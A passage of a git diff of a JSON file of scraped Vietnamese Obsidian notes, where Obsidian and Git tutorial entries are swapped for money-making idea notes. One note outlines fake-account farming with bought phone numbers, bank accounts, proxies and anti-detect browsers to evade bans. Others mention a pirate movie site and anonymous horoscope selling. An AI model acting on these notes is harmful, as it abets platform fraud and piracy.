vào:: [[Không tốn diện tích]]\r\n\r\nHình thức::\r\n\r\n![\\[P4Ds TALK #2\\] ThS. Trương Thị Thu Trang - “Tôi khởi sự kinh doanh” Những câu chuyện tạo tác động - YouTube](https://youtu.be/_hX2Sm5aOTk?si=gzGbUJi3-nIE5HZQ)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7V" }, { - "Tiêu đề": "4.5 Tạo nhánh (branch)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.5 Tạo nhánh (branch)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Bán bộ sưu tập từ điển chuyên ngành", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Bán phần mềm/Bán bộ sưu tập từ điển chuyên ngành", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\nTrạng thái:: Chưa hoàn thành\r\n%%\r\n# Bài tiếp theo : [[4.6 Chuyển nhánh (switch)]] ➡️\r\n\r\n> [!tip] Mẹo\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Tự kinh doanh, đầu tư]]\n\n\nhttps://quảcầu.cc/tu-dien-chuyen-nganh?utm_source=Vault+B+Tồn+tại+trong+thế+giới+tư+bản+(Dự+án)&utm_medium=Vault&utm_campaign=Bài+nổi+bật%2CTài+nguyên+khác%2CLàm+việc+hiệu+quả%2Cdịch%2Csách&utm_content=📐+Dự+án%2FGiúp+nhau%2FTạo+sinh+kế%2C+thu+nhập%2C+dòng+tiền.md&utm_term=", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T09:39:00.000Z", "id": "7W" }, { - "Tiêu đề": "4.6 Chuyển nhánh (switch)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.6 Chuyển nhánh (switch)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Bán bộ thẻ học GRE cho Anki", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Bán phần mềm/Bán bộ thẻ học GRE cho Anki", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\nTrạng thái:: Chưa hoàn thành\r\n%%\r\n# Bài tiếp theo : [[4.7 Nhập nhánh (merge)]] ➡️\r\n\r\n> [!tip] Mẹo\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Tự kinh doanh, đầu tư]]\n\n[[13-08]] 28630 lượt tải, 3177 ngày, 9 lần tải/ngày\n\nhttps://quảcầu.cc/bo-the-hoc-tu-vung-tieng-anh-nang-cao?utm_source=Vault+B+Tồn+tại+trong+thế+giới+tư+bản+(Dự+án)&utm_medium=Vault&utm_campaign=Tài+nguyên+khác%2Cngôn+ngữ%2Cnét+nghĩa+ẩn%2CHọc+tiếng+Anh%2Ckhoa+học+nhận+thức&utm_content=📐+Dự+án%2FGiúp+nhau%2FTạo+sinh+kế%2C+thu+nhập%2C+dòng+tiền.md&utm_term=", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7X" }, { - "Tiêu đề": "4.7 Nhập nhánh (merge)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.7 Nhập nhánh (merge)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Bán số lượng lớn tự động trên các nền tảng", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Bán số lượng lớn tự động trên các nền tảng", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\nTrạng thái:: Chưa hoàn thành\r\n%%\r\n# Bài tiếp theo : [[]] ➡️\r\n\r\n> [!tip] Mẹo\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết cách ẩn danh]]\r\nYêu cầu đầu vào:: [[Biết lập trình]]\r\nYêu cầu đầu vào:: [[Có nguồn nguyên liệu lớn với giá rẻ]]\r\nYêu cầu đầu vào:: [[Vốn]]\r\n\r\nHình thức:: [[Tự kinh doanh, đầu tư]]\r\n\r\nThực chất là nuôi tài khoản ảo số lượng lớn. Cần mua:\r\n- SĐT\r\n- Email\r\n- Tài khoản ngân hàng\r\n- Chăm tương tác\r\n\r\n# Bán hàng loạt trên Douyin: cần có người ở TQ đồng ý cho mã OTP gửi về sđt của mình\r\nCần có sđt TQ để nhận mã OTP\r\n→ Cần có người ở TQ đồng ý cho mã OTP gửi về sđt của mình\r\n\r\n# Bán hàng loạt trên Etsy: cần nguồn cung proxy, IP Mỹ, và kiến thức API\r\nBán hàng loạt trên Etsy thì cần:\r\n- [ ] Không bị quét IP\r\n\t- [ ] Nguồn cung cấp proxy, IP Mỹ\r\n- [ ] Kiến thức về API của Etsy\r\n\r\n1 email + 1 sdt + 1 profile + 1 proxy ⇒ reg gmail, twitter, discord, telegram, fb\r\nvấn đề đầu tiên là làm sao reg được email số lượng lớn \r\nthứ 2 là profile của các anti detected brownser chỉ cho sử dụng free 5 profile, quá ít\r\nvà thứ 3 là proxy ngoại, đặc biệt là proxy US IPv4 khá mắc 2.1$/proxy/ month\r\ne cần 5,000 acc\r\nv2ray theo những gì em hiểu, nó chỉ là lấy gói cước 3G vietnam rồi bật tắt để tạo 1 IP mới, nó có vẻ chỉ phù hợp vs việc reg acc, chứ ko tạo proxy để nuôi acc lâu dài\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7Y" }, { - "Tiêu đề": "Reset", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/➕ Nhiệm vụ bổ trợ/Reset", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Cho vay lấy lãi", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Cho vay lấy lãi", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://i.stack.imgur.com/qRAte.jpg) \r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Vốn]]\r\nHình thức::\r\n```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư\" \r\nWHERE file.name != this.file.name\r\n```\r\n\r\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]]\r\n[[Huy động nguồn tiền nhàn rỗi]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "7Z" }, { - "Tiêu đề": "📖 Sử dụng plugin Obsidian Git", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/📖 Bài đọc thêm/📖 Sử dụng plugin Obsidian Git", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Nhóm chuyên chạy chỉ tiêu cho nhân viên các công ty", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Nhóm chuyên chạy chỉ tiêu cho nhân viên các công ty", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Tạo token trên GitHub\r\n- Vào Settings \r\n![](https://lh4.googleusercontent.com/jfSIEWMiq1XC4ZctO8UZerr6UjfJuewV3XSAT43AnM_3NNplbITWkGFmVNKN-K3j4gpGAarePpCCWxSmxwiIm_ZpF0YkcgmoA1uEiXxqYb_PyxLBVmYrIszFwQkTNn6VgjVINobqE_x0sG0qB0IDMU_cxd3rIwH_FcEYzcRAbthQcyRdGiLUO1W67w)\r\n- Ở cột bên trái kéo xuống dưới cùng, chọn Developer settings \r\n![](https://lh4.googleusercontent.com/Nqd9zpfuU9gI_lex0M69pNocmG9PZ01XhX14Ju704b57fBVUzQRMjxdLlnOwNDVne6bdrr7WihxgtwNli173fHiFknsB7aFvL0hksSOuyF-7x15GgkMXj8-onP2YC9sIM6GgwphboQZH3X6EMZn-895fPQseHfwQpfzvAk0adQ5jhDds6zGM97SDOQ)\r\n- Chọn Personal access token và chọn Generate new token \r\n![](https://lh4.googleusercontent.com/NShV0Qnbj1CV6wShlaGrAKru2H-i4aiIjJCfvHqOOx8BK3R7itxiTZGG-L8e6q20Xn0W-eRVXiLtGyngXQoAPaWTlQSoyH-7eTqSDQMjj_7Aj1INyr7hH3G4lPZ4vTFGVv4cA_umP4XGc24RuikQ75uk2QxfH6T645ZRyd1e26zBfcCHh62rpbUVOw)\r\n- Đặt tên token của mình (VD: 2GROW), bấm chọn repo \r\n![](https://lh4.googleusercontent.com/FarUYTDiIIGwBJbGdDcGlAMzGQ3f1qsiouu2voN9CzZSjIGzSx2VRDaSlWV27-Yywiejf4KNN8Pt3_JaoA6Apws87nWPz6rqsJ34ZG41X-_wMA_deGuCYIDBPxQO6LHs9E0F_RYTBTuSglVKd_tF3JXtCKCWAm7n4vEeNy6E-bar0DGCKg4_Fg46cw)\r\n- Bấm Generate token và copy token này ra một nơi an toàn \r\n![](https://lh4.googleusercontent.com/Wm2-Gxr83I-qxz7yf0hKk9xOrRZfKuYmUIMRomFuITpd4z09NkX--acQ7lfGGA7jklbyySkAW8MJVAXND8CqnrV7HJg3_nFcNBZb_LPHqaDbrK5BTZml0HReJuutYEryB_3QzM0i5lERgUETCUygne3HC0HMKOYgChLprAXQsh8Jx73CYS6pKgrLeg)\r\n\r\n# Thiết lập Obsidian Git \r\n- Vào lại trong Settings, chọn Obsidian Git\r\n- Ở phần Automatic, đổi các số từ 0 thành 0.5![](https://lh3.googleusercontent.com/eTyiJ9UyuSsbADSX2j-OtnOan3jJp_CmeAgz3mWXJvepGVO4qge38cDPjVRHddbZWL3XUFrfv1NPkQPhTaaIuT8ACSg5K3miLILb0OnEi69GMILqwFHrB2en2H0D7f6N5hpyQLhzHXF0PBmcT9pDga2Y9l_ieWgWkZLN419Ox2yLDxDCL68T_iVovg)\r\n- Ở phần Miscellaneous, bật Disable notification \r\n![](https://lh5.googleusercontent.com/yyAE-v0gFvfeDjfLiCxfzbJWicvxizDfLltLEc6lPZn0bssaISOyqAIsIG--fgWEHDy6-x_19hJlG_ztivxZtGdQC7feh1XFlrI3tUKgfIwpoUgfPLxOlHvKocQygJv2N9wr5pp64jZ4oY9dtXoWrAD8Bpdpa9XqZ_3eLSe-S-vf4RUUGFSXzwxiJQ)\r\n- Ở phần Advanced, điền:\r\n- Username GitHub của bạn\r\n- Token bạn đã copy\r\n- Username GitHub của bạn (một lần nữa)\r\n- Email bạn dùng để đăng ký GitHub\r\nVậy là xong. Chúc mừng bạn đã thiết lập đồng bộ hoá thành công 🎉\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Nắm được nhu cầu doanh nghiệp]]\r\nHình thức:: [[Việc làm thời vụ, theo dự án]]\r\n\r\n![[Chạy chỉ tiêu cho nhân viên các công ty]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7a" }, { - "Tiêu đề": "5 Làm việc cùng nhau", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/5 Làm việc cùng nhau", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Làm web phim lậu", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Tạo SaaS/Làm web phim lậu", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\r\nYêu cầu đầu vào:: [[Biết cách ẩn danh]]\r\nYêu cầu đầu vào:: \r\n\r\nHình thức::", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T05:34:00.000Z", + "Ngày tạo": "2024-08-06T08:52:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7b" }, { - "Tiêu đề": "5.1 GitHub là gì", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/5.1 GitHub là gì", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Viết app quản lý chi tiêu cá nhân", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Tạo SaaS/Viết app quản lý chi tiêu cá nhân", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\nWebsite của GitHub sẽ giả vờ như là bạn đang ở trên máy chủ\n# Bài tiếp theo : [[5.2 Tải mới toàn bộ kho dữ liệu (clone)]] ➡️\n\n\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\r\nHình thức::[[Tự kinh doanh, đầu tư]]\r\n\r\n![[Chương trình quản lý chi tiêu cá nhân]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-24T13:59:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7c" }, { - "Tiêu đề": "5.2 Tải mới toàn bộ kho dữ liệu (clone)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/5.2 Tải mới toàn bộ kho dữ liệu (clone)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Xem tử vi tự động", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Xem tử vi tự động", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "\n\n```git\ngit clone https://github.com/QuaCau-TheSphere/LandofSpheres\n```\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Hiểu về hệ thống]]\r\nHình thức:: [[Tự kinh doanh, đầu tư]]\r\n\r\n## Các phần mềm hiện tại chỉ giúp lập lá số, chứ không luận hạn được\r\nMối quan hệ giữa 10 năm, năm, tháng\r\n\r\n## Không có demo\r\nVì không thực sự nắm chắc kết quả của một tương tác cụ thể\r\n\r\n## Có hằng hà sa số các diễn đàn tử vi, nhưng không ai chỉ ra được một phần mềm để làm điều đó cả\r\nMà họ chỉ cãi nhau\r\n## Chưa tìm hiểu tiếng Anh vì không có khả năng kiểm tra trường phái nào phù hợp\r\n## Cần dùng đúng trường phái này vì nó trung đạo\r\n## Không lộ diện để giảm rủi ro\r\nCó quá nhiều người scam, 1 mét vuông là 1 ông thầy. Nên có 2 trường hợp:\r\n- Lấy giá cao để giảm xác suất bị tố\r\n- Lấy giá thấp \r\n\r\nChính quyền không thèm bắt\r\n\r\nluận không phải là đoán\r\n\r\nKhông scale up:\r\n- Đủ để làm một buổi chiều\r\n- Đảm bảo an toàn\r\n\r\nRanh giới giữa học thuật và ảo thuật rất mong manh\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-31T10:04:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7d" }, { - "Tiêu đề": "5.3 Đẩy dữ liệu mới lên (push)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/5.3 Đẩy dữ liệu mới lên (push)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Ý tưởng kiếm tiền", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [!Tip] Phím tắt\n> git push\n", + "Mô tả bài đăng": "Điểm giống và khác nhau giữa các ý tưởng kiếm tiền. Quang cảnh và sơ đồ giữa chúng.", + "Toàn bộ nội dung": "[[3 Ý tưởng]]\n## Mối quan hệ giữa các khái niệm\n\n```mermaid\nflowchart LR\n\t1[\"1 Yêu cầu đầu vào\"]\n\t2[\"2 Hình thức\"]\n\t3[\"3 Ý tưởng\"]\n\n3-->1\n3-->2\nstyle 3 fill:lightgreen\n```\n\n## Danh mục\n```dataview\nlist rows.file.link\nfrom \"📜Tài nguyên/Ý tưởng kiếm tiền\" \ngroup by split(file.folder, \"/\" )[3] \n```\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-31T10:04:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "7e" }, { - "Tiêu đề": "5.4 Kéo dữ liệu mới xuống (pull)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/5.4 Kéo dữ liệu mới xuống (pull)", + "Tiêu đề": "Hanoi Ad Hoc", + "URL": "https://obsidian.quảcầu.cc/Kiến trúc/Hanoi Ad Hoc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "\n", + "Toàn bộ nội dung": "URL:: https://www.hanoiadhoc.com/\nFacebook::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-31T10:04:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-18T16:54:00.000Z", "id": "7f" }, { - "Tiêu đề": "Tại sao không dùng Syncthing mà phải dùng Git để đồng bộ dữ liệu", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/Tại sao không dùng Syncthing mà phải dùng Git để đồng bộ dữ liệu", + "Tiêu đề": "1 Làm quen với Obsidian", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Các cấp độ:\r\n```dataview\r\nlist from \"⚔️ Lớp học/1 Làm quen với Obsidian\" \r\nWhere file.name!=this.file.name and file.folder=this.file.folder\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-02T03:46:00.000Z", - "Ngày cập nhật": "2024-03-02T14:11:00.000Z", + "Ngày tạo": "2023-06-10T05:00:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7g" }, { - "Tiêu đề": "Tài liệu đọc thêm về Git", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/📖 Bài đọc thêm/Tài liệu đọc thêm về Git", + "Tiêu đề": "1.1 Tạo vault mới", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.1 Tạo vault mới", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\nTrạng thái:: Chưa hoàn thành\n%%\n- [ ] Làm các bài tập trong [Learn Git Branching](https://learngitbranching.js.org/)\n- [ ] Đọc [Picturing Git: Conceptions and Misconceptions - BiTE Interactive](https://www.biteinteractive.com/picturing-git-conceptions-and-misconceptions/)\n- [ ] [GIT Workflow - Georgia Tech - Software Development Process - YouTube](https://www.youtube.com/watch?v=3a2x1iJFJWc&t=53s)\n\n![](https://res.cloudinary.com/practicaldev/image/fetch/s--WsP0wEBA--/c_imagga_scale,f_auto,fl_progressive,h_420,q_auto,w_1000/https://dev-to-uploads.s3.amazonaws.com/i/pvb1vbr5k5tirzqxhlp2.jpg) \n[The Thing About Git](https://tomayko.com/blog/2008/the-thing-about-git)\n\n- [ ] Hiểu được cách tạo một commit \n\t- [Stage. Commit. Push. A Git Story (Comic) - DEV Community 👩‍💻👨‍💻](https://dev.to/erikaheidi/stage-commit-push-a-git-story-comic-a37)\n\n\n![](https://imgs.xkcd.com/comics/git_commit_2x.png) \n\n# Tài liệu\n[Oh Shit, Git!?!](https://ohshitgit.com/)\n[Oh shit, git!](https://wizardzines.com/zines/oh-shit-git/)\n[6 Interactive Resources to Learn Git](https://www.makeuseof.com/git-learn-interactive-resources/)\n", + "Toàn bộ nội dung": "Trong Obsidian, thư mục lớn nhất chứa tất cả các ghi chú cho một dự án được gọi là *vault*. Dịch nôm na là kho dữ liệu.\r\n\r\nHãy tạo vault đầu tiên cho dự án của bạn bằng cách bấm vào nút ![[Open another vault.png|30]] ở dưới thanh bên trái màn hình của bạn.\r\n\r\n![](https://forum.obsidian.md/uploads/default/original/3X/2/2/2210517675f2efd328409ba185d14ef0b35ac280.png) \r\n# [[1.2 Tạo ghi chú và thư mục mới]]➡️\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-31T10:04:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7h" }, { - "Tiêu đề": "📖 Remote, upstream, origin", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/5 Làm việc cùng nhau/📖 Bài đọc thêm/📖 Remote, upstream, origin", + "Tiêu đề": "1.2 Tạo ghi chú và thư mục mới", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.2 Tạo ghi chú và thư mục mới", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "# [[1.3 Tạo liên kết]]➡️\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-31T10:04:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7i" }, { - "Tiêu đề": "GitHub Mkdocs Publisher", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/6 Lập web/GitHub Mkdocs Publisher", + "Tiêu đề": "1.3 Tạo liên kết", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.3 Tạo liên kết", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\nKinh nghiệm tạo web của mình: Dùng plugin Enveloppe + mkdocs/lume + github page/Netlify\n\n2. Copy folder plugin\n3. Thêm share key\n\t```\n\tpip install py-obsidianmd\n\tpy '..\\..\\Code\\Scripts\\Thêm share vào YAML cho tất cả các file.py 'path_to_vault'\n\t```\n1. [Tạo template trên github](https://github.com/ObsidianPublisher/template-netlify-vercel/generate)\n4. clone template vừa tạo\n```\ngit clone \n```\n5. Sửa mkdocs.yml, thêm logo\n6. Tạo requirement.txt để Netlify sử dụng\n```\npip freeze > requirements.txt\n```\nNhững file nào ko muốn cho hiện lên thì bỏ `share: true` trong yaml đi, rồi dùng lệnh này\n![](https://i.imgur.com/hipQiyn.png)\n\n## Thêm subdomain\n- Cloudflare\n- Netlify", + "Toàn bộ nội dung": "Hãy ghi ra các mục tiêu của bạn dưới dạng liên kết\r\n# [[1.4 Xem và chỉnh sửa nội dung]]➡️\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-07T09:20:00.000Z", - "Ngày cập nhật": "2024-08-16T12:48:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7j" }, { - "Tiêu đề": "Các bài học nâng cao", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/Các bài học nâng cao/Các bài học nâng cao", + "Tiêu đề": "1.4 Xem và chỉnh sửa nội dung", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.4 Xem và chỉnh sửa nội dung", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```ccard\ntype: folder_brief_live\n```\n", + "Toàn bộ nội dung": "> [!Tip] Phím tắt\r\n> Ctrl + E\r\n\r\nBài đọc thêm:: \r\n\r\n# [[1.5 Định dạng chữ]]➡️\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-31T10:16:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "7k" }, { - "Tiêu đề": "1. Dùng plugin mẫu", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/Các bài học nâng cao/Viết plugin/1. Dùng plugin mẫu", + "Tiêu đề": "1.5 Định dạng chữ", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.5 Định dạng chữ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "\r\nhttps://marcus.se.net/obsidian-plugin-docs/\r\n", + "Toàn bộ nội dung": "# [[1.6 Tìm hiểu tự do]]➡️\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -8036,14 +8036,14 @@ "id": "7l" }, { - "Tiêu đề": "2. Nhập môn TypeScript", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/Các bài học nâng cao/Viết plugin/2. Nhập môn TypeScript", + "Tiêu đề": "1.6 Tìm hiểu tự do", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1.6 Tìm hiểu tự do", "Kho thông tin": "Obsidian, quản lý dự án 